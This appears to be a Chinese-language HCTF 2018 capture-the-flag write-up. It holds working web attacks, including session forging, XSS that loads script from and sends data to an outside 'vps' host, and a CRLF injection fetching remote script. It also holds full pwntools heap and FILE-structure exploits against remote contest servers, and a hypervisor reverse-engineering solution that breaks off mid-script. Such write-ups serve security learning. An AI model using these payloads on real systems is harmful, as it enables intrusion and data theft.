具体编码可查`https://unicode-table.com/en/search/?q=small+capital`
`nodeprep.prepare`会进行如下操作
ᴀ -> A -> a
我们容易想到一个攻击链：
* 注册用户ᴀdmin
* 登录用户ᴀdmin，变成Admin
* 修改密码Admin，更改了admin的密码
于是成功得到flag
### hide and seek
思路很清晰，伪造admin即可
然后发现软连接可用来任意文件读取，那么想到读取secret_key
读文件，文件名来源于日志
ln -s /app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py 1.txt
zip -y 1.zip 1.txt
得到内容
# -*- coding: utf-8 -*- from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])
def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS
@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')
@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))
@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))
@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'
try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None
os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)
if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)
关键语句
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
但是SECRET_KEY是随机数，需要预测，那么需要py版本号
在
ln -s /app/main.py 1.txt
zip -y 1.zip 1.txt
发现内容
from flask import Flask
app = Flask(__name__)
@app.route("/")
def hello():
return "Hello World from Flask in a uWSGI Nginx Docker container with \
Python 3.6 (default)"
if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True, port=80)
发现python是3.6版本的，那么即可尝试预测随机数
对于`uuid.getnode()`
尝试读取`/sys/class/net/eth0/address`
得到`12:34:3e:14:7c:62`
计算十进制：20015589129314
用python3.6去看一下随机数
random.seed(20015589129314)
print str(random.random()*100)
得到secret_key=11.935137566861131
尝试伪造session
eyJ1c2VybmFtZSI6ImFkbWluIn0.Dskfqg.pA9vis7kXInrrctifopdPNUOQOk
得到flag
### game
这题贼无聊。。。order by password就行，然后一直注册fuzz
import requests
import hashlib
import threading
def md5(str):
sha = hashlib.md5(str)
encrypts = sha.hexdigest()
return encrypts
def reg(username,password):
url = 'http://game.2018.hctf.io/web2/action.php?action=reg'
data = {
"username":username,
"password":password,
"sex":"1",
"submit":"submit"
}
headers = {
'Connection': 'close',
}
r = requests.post(url=url,data=data,headers=headers)
def fuzz(start,end):
for i in range(start,end):
password = 'dSa8&&!@#$%^&d1nGy1aS3dja'+chr(i)
username=md5(password)
content = username + " " + password +" "+ str(i) + "\n"
reg(username, password)
print content
print str(start)+'~'+str(end)+"complete"
step=20
for i in range(33,127,step):
t = threading.Thread(target=fuzz, args=(i, i+step))
t.start()
一位一位得到密码`dSa8&&!@#$%^&d1nGy1aS3dja`
登录admin，即可
### share
在`http://share.2018.hctf.io/home/Alphatest`里看到我们的uid和当前file number。
在`http://share.2018.hctf.io/home/share`存在xss。
content填入xss代码:`<img src=s onerror='var
p=document.createElement("script");p.src="https://vps";document.body.appendChild(p);'>`Download
url随便填。
读取后台web页面，可以看到主要能用到的有`addtest`和`upload`。其中`addtest`提交到`/file/Alpha_test`,`upload`提交到`/file/upload`。
这两个的代码在tobots.txt中都有。这两个url都做了限定只有admin才能提交。
因此我们需要利用xss上传我们的文件。读取源码可以知道这是ruby on rails。我们可以上传erb模板文件。
在源码中使用了`Tempfile.new(name.split('.'+ext)[0],Rails.root.to_s+"/public/upload")`
队友找到[cve 2018-6914](https://www.ruby-lang.org/zh_cn/news/2018/03/28/unintentional-file-and-directory-creation-with-directory-traversal-cve-2018-6914/)(ruby2.5.0的hint，我本地版本不对卡了好久。。。。）
参考：`https://hackerone.com/reports/302298`，我们可以构造文件名为`/../../app/views/home/aa38.erb`，文件内容:`<%=
`cat /flag ` %>`,在这里文件名和文件内容都需要base64编码一次。
上传文件js payload：
$.get("http://share.2018.hctf.io/home/upload",function(data){
var token=data.substr(data.indexOf('name="authenticity_token" value="')+33,88);
var formData = new FormData();
formData.append("authenticity_token", token);
formData.append("file[context]", "zxcvxzcvxzcv");
var content = 'PCU9IGBjYXQgL2ZsYWcgYCAlPg=='; //这是文件内容的base64
var blob = new Blob([content], { type: "image/png"});
formData.append("file[myfile]", blob,"Ly4uLy4uL2FwcC92aWV3cy9ob21lL2FhMzguZXJi"); //这里是文件名的base64
formData.append("commit", 'submit');
var request = new XMLHttpRequest();
request.open("POST", "http://share.2018.hctf.io/file/upload");
request.send(formData);
request.onreadystatechange=function()
{
if (request.readyState==4)
{
$.ajax({url:'http://vps/',type:'POST',data:{'request_respone':request.response,'request_status':request.status},dataType:'jsonp',success:function(a){}});
}
}
});
上传之后我们的erb模板就已经躺在home目录下面了。但是需要通过管理员分享给自己才能拿到文件名。
文件分享payload:
$.get("http://share.2018.hctf.io/home/addtest",function(data){
var token=data.substr(data.indexOf('name="authenticity_token" value="')+33,88);
$.ajax({url:'http://share.2018.hctf.io/file/Alpha_test',type:'POST',data:{'token':token,'uid':'3','fid':'23','commit':'submit'},success:function(a){
$.get("http://vps/?set=aaa",function(b){});
}});
});
这里的fid就是当前文件个数。最后一个上传的文件就是我们的文件。
然后查看home/Alphatest，就能拿到文件名。
最后访问`http://share.2018.hctf.io/?page=aa3820181111-336-12y58wh`获取flag。
### bottle
登录进去发现有个path的302跳转，猜测这里有xss，试了一下不行，根据提示得到firefoxdriver，猜测有crlf，结合Transfer-Encoding
chunked头，尝试了一下post请求，这里要加content-length和xss-proction就可以弹回来了，然后就是替换bot的cookie,payload
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0d%0aX-XSS-Protection:0%0d%0aContent-Length:300%0d%0a%0d%0a%3Cscript%20src%3dhttp://139.199.27.197:7000/1.js%3E%3C/script%3E
## Pwn
### easyexp
from pwn import *
context.endian = "little"
context.os = "linux"
context.arch = "amd64" #i386
context.terminal = ["deepin-terminal", '-x', 'sh', '-c']
context.word_size = 64 #32
context.log_level = "debug" #info, warn, critical
global io
binary = "./easyexp"
if __name__ == "__main__":
elf = ELF(binary)
libc = ELF("./libc.so.6")
pipe_argv = [binary,""]
pipe_env = {"LD_PRELOAD":"./libc.so.6"}
#pipe_env = {}
#io = process(pipe_argv, env=pipe_env)
io = remote('150.109.46.159',20004)
io.sendlineafter('token:', 'Ooh0jQajnHvoGq2lTlMt9tkT0EkellEa')
#pause()
print io.readuntil("name: ")
io.sendline("x" * 16)
print io.readuntil("x" * 16)
pid_buf = io.readuntil("@")[:-1]
log.warn(pid_buf.encode("hex"))
if len(pid_buf) == 1:
pid = u8(pid_buf)
elif len(pid_buf) == 2:
pid = u16(pid_buf)
print io.readuntil("$")
io.sendline("mkfile 12")
io.readuntil("something:")
#make chunk A
io.sendline("\x2f" * 0x30 + "a" * 0x50)
print io.readuntil("$")
io.sendline("mkfile \x36")
io.readuntil("something:")
#make chunk B
io.sendline("2" * 0x37)
path = "../../../proc/{}/cwd/(unreachable)/tmp".format(pid)
print io.readuntil("$")
io.sendline("mkdir " + path )
print io.readuntil("$")
io.sendline("mkfile 123")
io.readuntil("something:")
#make chunk C
io.sendline("3" * 0x100 + p16(0x150))
print io.readuntil("$")
io.sendline("mkfile 1234")
io.readuntil("something:")
#make chunk D
io.sendline("4" * 0x90)
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x38) + p16(0x151)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x37)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x36)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x35)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x34)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x33)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x32)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x31)
print io.readuntil("$")
io.sendline("mkdir " + path )
#OVERLAP CHUNK C
path = "../../../" + "\x77" * (5 + 0x30) + "\x90"
print io.readuntil("$")
io.sendline("mkdir " + path )
#free and malloc to make an overlap chunk
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * 0x130)
#fake overlaped chunk
for i in range(0, 0x10):
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * (0x47 - i))
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * 0x38 + p64(0x110))
for i in range(0, 0x7):
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * (0x37 - i))
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * 0x30 + p32(0x30))
#make fake chunk
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * 0x18 + p64(0x6031e0 - 0x10))
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * 0x10 + p64(0x6031e0 - 0x18)[:7])
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("5" * 0x8 + p64(0x31)[:7])
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline(p64(0)[:7])
print io.readuntil("$")
io.sendline("mkfile 123")
io.readuntil("something:")
io.sendline("3" * 0x100 + p16(0x110))
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("\x00")
pause()
#free 3 to make unlink attack
print io.readuntil("$")
io.sendline("mkfile 123456")
io.readuntil("something:")
io.sendline("3" * 0x19)
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline("\xcc" * 0x18 + p32(elf.got["strlen"]))
io.readuntil("$")
io.sendline("cat 12345")
leak_libc = u64(io.readline()[1:-1].ljust(8,"\x00"))
print hex(leak_libc)
libc_base = leak_libc - libc.symbols["strlen"]
one_gadget = libc.symbols["system"] + libc_base
log.info("libc_base--->{}".format(hex(libc_base)))
pause()
print io.readuntil("$")
io.sendline("mkfile 12345")
io.readuntil("something:")
io.sendline(p64(one_gadget)[:7])
io.readuntil("$")
io.sendline("mkdir /bin/sh")
io.interactive()
### babyprintf_ver2
#!/usr/bin/env python
# -*- coding: utf-8 -*- from __future__ import print_function
from pwn import *
binary = './babyprintf_ver2'
elf = ELF(binary)
libc = elf.libc
io = process(binary, aslr = 0)
#io = remote('150.109.44.250', 20005)
context.log_level = 'debug'
context.arch = elf.arch
context.terminal = ['tmux', 'splitw', '-h']
myu64 = lambda x: u64(x.ljust(8, '\0'))
ub_offset = 0x3c4b30
io.recvuntil("So I change the buffer location to ")
code_base = int(io.recvuntil("\n")[:-1], 16) - 0x202010
log.info("\033[33m" + hex(code_base) + "\033[0m")
pay = 'a' * 0x10
pay += p64(code_base+0x202030) * 2
# now start the fake stdout
# 0x155555327760 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00001555553277e3
# 0x155555327770 <_IO_2_1_stdout_+16>: 0x00001555553277e3 0x00001555553277e3
# 0x155555327780 <_IO_2_1_stdout_+32>: 0x00001555553277e3 0x00001555553277e3
# 0x155555327790 <_IO_2_1_stdout_+48>: 0x00001555553277e3 0x00001555553277e3
# 0x1555553277a0 <_IO_2_1_stdout_+64>: 0x00001555553277e4 0x0000000000000000
# 0x1555553277b0 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
# 0x1555553277c0 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x0000155555326a00
# 0x1555553277d0 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
# 0x1555553277e0 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00001555553288c0
# 0x1555553277f0 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
# 0x155555327800 <_IO_2_1_stdout_+160>: 0x00001555553268c0 0x0000000000000000
# 0x155555327810 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000
# 0x155555327820 <_IO_2_1_stdout_+192>: 0x00000000ffffffff 0x0000000000000000
# 0x155555327830 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00001555553232a0
pay += p64(0xfbad2887)
pay += p64(code_base + 0x201fb0) # _IO_read_ptr
pay += p64(code_base + 0x201fb0) # _IO_read_end
pay += p64(code_base + 0x201fb0) # _IO_read_base
pay += p64(code_base + 0x201fb0) # _IO_write_base
pay += p64(code_base + 0x201fb0 + 8) # _IO_write_ptr
pay += p64(code_base + 0x201fb0) # _IO_write_end
pay += p64(code_base + 0x201fb0) # _IO_buf_base
pay += p64(code_base + 0x201fb0 + 8) # _IO_buf_end
pay += p64(0) * 4
pay += p64(0x0000155555326a00)
pay += p64(1)
pay += p64(0xffffffffffffffff)
pay += p64(0x0000000000000000)
pay += p64(code_base + 0x202200) # bypass _IO_acquire_locks...
pay += p64(0) * 3
pay += p64(0x00000000ffffffff)
pay += p64(0) * 2
io.sendline(pay)
io.recvuntil("permitted!\n")
libc_addr = myu64(io.recvn(8)) - libc.symbols['puts']
libc.address = libc_addr
log.info("\033[33m" + hex(libc_addr) + "\033[0m")
def www(addr, c):
pay = 'a'.ljust(0x10)
pay += p64(code_base+0x202030) * 2
# now start the fake stdout
# 0x155555327760 <_IO_2_1_stdout_>: 0x00000000fbad2887 0x00001555553277e3
# 0x155555327770 <_IO_2_1_stdout_+16>: 0x00001555553277e3 0x00001555553277e3
# 0x155555327780 <_IO_2_1_stdout_+32>: 0x00001555553277e3 0x00001555553277e3
# 0x155555327790 <_IO_2_1_stdout_+48>: 0x00001555553277e3 0x00001555553277e3
# 0x1555553277a0 <_IO_2_1_stdout_+64>: 0x00001555553277e4 0x0000000000000000
# 0x1555553277b0 <_IO_2_1_stdout_+80>: 0x0000000000000000 0x0000000000000000
# 0x1555553277c0 <_IO_2_1_stdout_+96>: 0x0000000000000000 0x0000155555326a00
# 0x1555553277d0 <_IO_2_1_stdout_+112>: 0x0000000000000001 0xffffffffffffffff
# 0x1555553277e0 <_IO_2_1_stdout_+128>: 0x000000000a000000 0x00001555553288c0
# 0x1555553277f0 <_IO_2_1_stdout_+144>: 0xffffffffffffffff 0x0000000000000000
# 0x155555327800 <_IO_2_1_stdout_+160>: 0x00001555553268c0 0x0000000000000000
# 0x155555327810 <_IO_2_1_stdout_+176>: 0x0000000000000000 0x0000000000000000
# 0x155555327820 <_IO_2_1_stdout_+192>: 0x00000000ffffffff 0x0000000000000000
# 0x155555327831 <_IO_2_1_stdout_+208>: 0x0000000000000000 0x00001555553232a0
pay += p64(0xfbad2887)
pay += p64(code_base + 0x2020b3) # _IO_read_ptr
pay += p64(code_base + 0x2020b3) # _IO_read_end
pay += p64(code_base + 0x2020b3) # _IO_read_base
pay += p64(code_base + 0x2020b3) # _IO_write_base
pay += p64(code_base + 0x2020b3) # _IO_write_ptr
pay += p64(code_base + 0x2020b3) # _IO_write_end
pay += p64(addr) # _IO_buf_base
pay += p64(code_base + 0x2020b3 + 1) # _IO_buf_end
pay += p64(0) * 4
pay += p64(code_base + 0x202030)
pay += p64(1) # _fileno
pay += p64(0xffffffffffffffff)
pay += p64(0x0000000000000000)
pay += p64(code_base + 0x202200) # bypass _IO_acquire_locks...
pay += p64(0) * 3
pay += p64(0x00000000ffffffff)
pay += p64(0) * 2
pay += p64(0x00000000ffffffff)
io.sendline(pay)
io.sendline(c)
gdb.attach(io, '')
www(libc.symbols['__malloc_hook'], 'a')
io.sendline('%100000p')
io.interactive()
### the end
#/usr/bin/python
from pwn import *
context.endian = "little"
context.os = "linux"
context.arch = "amd64" #i386
context.word_size = 64 #32
context.log_level = "debug" #info, warn, critical
'''
0x45216 execve("/bin/sh", rsp+0x30, environ)
constraints:
rax == NULL
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xf02a4 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1147 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
'''
global io
binary = "./the_end"
def write4(date):
for one in data:
io.send(p64(one[0]))
io.send(chr(one[1]))
#0x00007f436cc2d6e0 stdin->vtable
#0x00007f436cc2e3e0 a pointer --> one byte
#0x00007f436cc2e400 0x00007f436c9f67e9
# 0x00007f436c95a2a4 one_gadget --> 3 bytes
'''
stdin->vtable 0x00007fa1e55679b8 0x00007fa1e55666e0
'''
if __name__ == "__main__":
elf = ELF(binary)
libc = ELF("./libc.so.6")
pipe_argv = [binary,""]
pipe_env = {"LD_PRELOAD":"./libc.so.6"}
#io = process(pipe_argv, env=pipe_env)
io = remote("150.109.46.159",20002)
io.readuntil("Input your token:")
io.sendline("Ooh0jQajnHvoGq2lTlMt9tkT0EkellEa")
io.readuntil("here is a gift ")
libc_sleep = int(io.readuntil(",")[2:-1], 16)
libc_base = libc_sleep - libc.symbols["sleep"]
log.info("libc_base-->{}".format(hex(libc_base)))
one_gadget = 0xf02a4 + libc_base
log.info(hex(one_gadget))
stdin_vtable = 0x3c49b8 + libc_base
io.readline()
data = []
data.append([libc_base + 0x3c4bf8 + 0, ((one_gadget) >> 0) & 0xff])
data.append([libc_base + 0x3c4bf8 + 1, ((one_gadget) >> 8) & 0xff])
data.append([libc_base + 0x3c4bf8 + 2, ((one_gadget) >> 16) & 0xff])
data.append([libc_base + 0x3c49b8 + 1, ((0x3c4be0 + libc_base) >> 8) & 0xff])
pause()
write4(data)
io.interactive()
'''enter'''
'''enter'''
'''exec 1>&0'''
## Reverse
### spiral
main函数中比较简单
输入通过argv[1]送入
sub_12F9E0中检查格式，并返回除"hctf{}"外的字符个数，要求为73
sub_12FB10中分隔输入，处理为46+27两段内容
sub_12F430中检查第一段46个字符
sub_12F070中解码并写出一个驱动
sub_12E430中在注册表里注册该驱动
下文所有关于硬件虚拟化的了解都是基于做题时搜索查询的，可能会有不少错误，还望指出海涵。
#### check1(sub_12F430)
将每个字符分为高5位和低3位，分别保存成两个数组
根据低3位在sub_12F650中变化高5位，变化的方法都是很简单的加和异或
然后将两个数组合成一个，最后比较
反向处理根据结果的奇数位字节反向变换偶数位字节，再合并即可
#### check2(spiral_core.sys)
在写出的函数中将后27个字符放入字节数组中，即作为驱动的data保存
动调可获得完整内容
##### 入口
驱动入口为DriverEntry，几个处理函数用处都不大，关键只有sub_403310这一个函数
开始read了cr寄存器和msr寄存器，申请了几个内存，保存了各种寄存器，不用太关心
但是从sub_401596中可以看到一个不常见的指令：vmxon
这里开始才显露出这个题目的真正獠牙：硬件虚拟化
vmxon表示VMX(Virtual-Machine Extensions)的启动
关键在sub_402B60中的一系列操作
大部分的东西其实都是不用看的，我估计出题人也不是自己一句一句写的（XD，调用的就两个函数VM_WRITE和READ_MSR
关键在最后一个sub_401631，里面是另一个不常见的指令：vmlaunch
vmlaunch表示Guest虚拟机启动，下面运行的指令就都跟外层物理机无关了
[相关资料](https://blog.csdn.net/sgzwiz/article/details/20747511)中的流程高度相似，可以以此参考
vmlaunch以后，最大的区别就是一些特殊指令将会被VMX捕获，进入到VMExitProc函数中进行处理
这个函数在0x402f61处绑定到结构体中
vmwrite(0x6C16, (int)VMExitProc);
默认状态下，IDA似乎没有识别到这个函数，只是一个Dword
需要自己找到对应的地址按P来CreateFunction
##### VMEXITPROC分析
这个函数中基本都是环境的保存和恢复
核心逻辑在sub_402880中
开头的五个调用可以参照上文的相关资料恢复出符号
//获取本次Exit的详细信息
ULONG ExitReason = VMRead_ULONG(VMX_VMCS_RO_EXIT_REASON);//0x4402
ULONG ExitInterruptionInformation = VMRead_ULONG(VMX_VMCS_RO_EXIT_INTERRUPTION_INFO);//0x4404
ULONG ExitInstructionLength = VMRead_ULONG(VMX_VMCS_RO_EXIT_INSTR_LENGTH);//0x440C
ULONG ExitQualification = VMRead_ULONG(VMX_VMCS_RO_EXIT_QUALIFICATION);//0x6400
这里的关键是ExitReason，也就是下面处理的switch的变量
可以参考[这篇资料](https://blog.csdn.net/zhuhuibeishadiao/article/details/52470491)
对照发现，VMExitProc中对CPUID、INVD、VMCALL、CR_ACCESS、MSR_READ、MSR_WRITE这几条指令有特殊处理，之后我们需要特殊分析
通过分析几个handler可以大体构建出整个程序的目的
在处理handler之前，首先要声明两个数据结构
几个handler都是在操作他俩，而IDA由于丢失符号导致这两个结构识别的很破碎，需要自己根据handler和上下文语义来恢复
主要是最后检查的时候范围为data的9x9，而对vm_code的几次操作都不超过10
int vm_code[10]
int data[9][9]
###### cpuid_handler
根据eax选择对vm_code异或的数组
###### invd_handler
根据eax变换vm_code
值得一提的是dword_405374这个数组是`vm_code-4(byte)`的地方
###### vmcall_handler
首先拆解eax，高1字节作为command，高2字节处理后作为data的index，低2字节选择是否逆序，低1字节作为input的index
主要是根据command和vm_code来处理data
这里有一个很容易误解的点
Dword_405174(point_data)处是一个指针，指针指向data[9][9]的首地址&data[0][0]
从汇编可以很容易看出来
.text:00401CE9 mov eax, point_data
.text:00401CEE mov ecx, [eax+edx*4]
我们知道，在C语言中定义一个数组a[10]，那么a就是常量&a[0]。此时如果再令指针p=&a[0]=a，则`a[x]`等价于`*(a +
x*4)`等价于`*(p+x*4)`等价于`p[x]`
也就是说，a[x]和p[x]实际上是相同的
而在IDA中，或者说是汇编中，p和a却是两个量：a是常量地址，在汇编中表示为数组首地址，而p则是一个指针，指向数组首地址。
这意味着对a查看交叉引用找不到对p的调用
这么讲很好理解，但是在汇编里我觉得有点懵orz
好的，说了这么多其实就是说point_data等价于data
vm_code对应的几个函数都是修改data的
最后有两个与众不同的，0xdd和0xff
0xdd里有vmxoff的调用，显然是退出虚拟机用的
0xff里则是一个检查data的函数
简单理一下可以看出来，一共循环9次，每次根据一个数组拿到9个下标，然后要求data的这9个数为不重复的1-9
PS: 这里的check函数虽然有个局部变量作为结果，但是并不会返回，也不影响任何东西，所以正确与否几乎没有显式体现
以及check的9次循环参数给的都是1，正常情况下应该为1-9，需要自己根据理解修正
###### readmsr_handler
根据eax变换data
于是现在有了操作方式和最终结果，接下来只要看vm是怎么操作的就可以了
##### Guest虚拟机的流程
从vmlaunch往后
首先将Dword_40557C赋值为0，这是个虚拟机是否成功运行的标志变量，由Guest虚拟机执行，则当vmoff以后物理机中的该变量将仍然为1。
继续往后走，退到0x4016E0处
.text:0040171D mov eax, 0DEADBEEFh
.text:00401722 cpuid
.text:00401724 mov eax, 4437h
.text:00401729 invd
.text:0040172B mov eax, 174h
.text:00401730 mov ecx, 176h
.text:00401735 rdmsr
这七句分别令VMExitProc调用了cpuid_handler、invd_handler和readmsr_handler，注意readmsr_handler中eax为0x174，而不是0x176，这里F5状态下IDA会将ecx作为宏的参数
继续往后走，进到sub_4030B0中
里面除了几个rdmsr和invd以外就是大量的vmcall在修改data
值得注意的是最后一个参数为`vmcall(0xFFEEDEAD);`
按照vmcall_handler的意思，这里应该是进行fake_check的
所以处理到这里就结束了
在0x4016CD出的cpuid和invd不纳入考虑是因为此时的代码仍然是物理机执行的，因此这些指令不会被VMX的VMExitProc捕获进行处理
##### 求解
总体来看就是将input和data进行了一些运算，最后按照给定下标进行校验9x9的数独
推好计算，然后逆运算也是可行的
但是让我手算数独是不可能的，这辈子都是不可能的
z3启动！
全盘照抄，将input填入27个BitVec(32)即可
最后sovle一下就行
注意这个虽然每次运算过后都会`&0xff`但是本质上data还是Int型的，如果使用8位的BitVec会产生很要命的错误，折腾了我3个小时orz
`output中有大于255的初值，如果直接舍弃高位，对于除法将会产生错误`
刚开始求出了个多解，死活交不上，后来问了手出题人才想起来多解的情况
给自己提个醒，一共有6个多解，事实上也是可以接受的
z3的约束求解只会掏出一个可行解，要跑出所有解需要自己另行去重
以前也做过类似的操作，只不过不像这次使用的去重代码更通用
以后使用z3时最好都考虑上多解的可能
由于大量函数直接从IDA中复制，因此一些代码会比较丑陋，XD见谅
data = [0x07, 0xE7, 0x07, 0xE4, 0x01, 0x19, 0x03, 0x50, 0x07, 0xE4, 0x01, 0x20, 0x06, 0xB7, 0x07, 0xE4, 0x01, 0x22, 0x00, 0x28, 0x00, 0x2A, 0x02, 0x54, 0x07, 0xE4, 0x01, 0x1F, 0x02, 0x50, 0x05, 0xF2, 0x04, 0xCC, 0x07, 0xE4, 0x00, 0x28, 0x06, 0xB3, 0x05, 0xF8, 0x07, 0xE4, 0x00, 0x28, 0x06, 0xB2, 0x07, 0xE4, 0x04, 0xC0, 0x00, 0x2F, 0x05, 0xF8, 0x07, 0xE4, 0x04, 0xC0, 0x00, 0x28, 0x05, 0xF0, 0x07, 0xE3, 0x00, 0x2B, 0x04, 0xC4, 0x05, 0xF6, 0x03, 0x4C, 0x04, 0xC0, 0x07, 0xE4, 0x05, 0xF6, 0x06, 0xB3, 0x01, 0x19, 0x07, 0xE3, 0x05, 0xF7, 0x01, 0x1F, 0x07, 0xE4, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00]
flag = ""
for i in range(46):
v = data[i*2]
v1 = data[i*2+1]
if(v==0):
v1 -= 34
elif(v==1):
v1 -= 19
elif(v==2):
v1 -= 70
elif(v==3):
v1 -= 66
elif(v==4):
v1 ^= 0xca
elif (v == 5):
v1 ^= 0xfe
elif (v == 6):
v1 ^= 0xbe
elif (v == 7):
v1 ^= 0xef
data[i*2+1] = v1
flag += chr((v1<<3)|v)
print(flag)
def final_check(x):
for i in x:
s.add(i>0, i<10)
for i in range(9):
for j in range(i+1, 9):
## print(x[i]!=x[j])
s.add(x[i]!=x[j])
def invd(x):
if(x==0x4433):
for i in range(5):
table[2*i], table[2*i+1] = table[2*i+1], table[2*i]
elif(x==0x4434):
buff = table[0]
for i in range(9):
table[i] = table[i+1]
table[9] = buff
elif(x==0x4437):
v4 = table[7]
for k in range(3):
table[k+7] = table[7-k-1]
if(k==2):
table[7-k-1] = table[3]
else:
table[7-k-1] = table[k+7+1]
table[3] = table[3-0-2]
table[3-0-2] = table[3-0-1]
table[3-1-1] = v4
def read_msr(x):
if(x==374):
v3 = output[76]
v4 = output[36]
for i in range(8, 0, -1):
output[9*i+4] = output[9*(i-1)+4]
output[4] = v3
for i in range(8):
output[36+i] = output[37+i]
output[44] = v4
elif(x==372):
v6 = output[80]
v7 = output[8]
for i in range(8, 0, -1):
output[10*i] = output[10*(i-1)]
output[0] = v6
for j in range(1, 9):
output[8*j] = output[8*j+8]
output[8*9] = v7
def vmcall(x):
command = x>>24
index = (x>>16)
index = (index&0xf)+9*((index&0xf0)>>4)
cho = (x>>8)&0xff
x = x&0xff
## c[x] = 1
if(cho==0xcc):
l = a
else:
l = a[::-1]
## print(index, command, table, output)
if (command == table[0]):
output[index] = l[x]
elif (command == table[1]):
output[index] += l[x]
elif (command == table[2]):
output[index] -= l[x]
elif (command == table[3]):
output[index] = output[index]/l[x]
elif (command == table[4]):
output[index] *= l[x]
elif (command == table[5]):
output[index] ^= l[x]
elif (command == table[6]):
output[index] ^= l[x]+l[x-1]-l[x+1]
elif (command == table[7]):
output[index] ^= l[x]*16
elif (command == table[8]):
output[index] |= l[x]
elif (command == table[9]):
output[index] ^= l[x+1]^l[x-1]^(l[x-2] + l[x] - l[x+2])
else:
print("Error: %d"%x)
output[index] &= 0xff
from z3 import *
s = Solver()
a = [BitVec("a%d"%i, 32) for i in range(27)]
for i in a:
s.add(i>32, i<127)
c = [0 for i in range(81)]
table = [163, 249, 119, 166, 193, 199, 78, 209, 81, 255]
t1 = [147, 200, 69, 149, 245, 242, 120, 230, 105, 198]
t2 = [144, 205, 64, 150, 240, 254, 120, 227, 100, 199]
